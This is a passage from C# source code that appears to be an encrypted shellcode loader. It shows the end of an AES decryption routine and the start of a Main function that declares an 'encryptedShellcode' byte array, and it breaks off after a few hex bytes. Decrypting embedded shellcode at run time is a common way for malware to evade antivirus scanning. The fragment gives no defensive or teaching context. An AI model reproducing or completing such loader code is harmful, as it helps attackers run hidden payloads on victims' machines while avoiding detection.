using (MemoryStream ms = new MemoryStream())
{
using (CryptoStream cs = new
CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(encryptedMessage, 0,
encryptedMessage.Length);
}
return ms.ToArray();
}
}
}
//==============================================================
================
// MAIN FUNCTION
//==============================================================
================
static void Main()
{
byte[] encryptedShellcode = new byte[] {
0x8d,0x81,0xec,0x67,0x71,0x69,0x0e,0xee,0x94,0x58,0xae,0x03,0xfa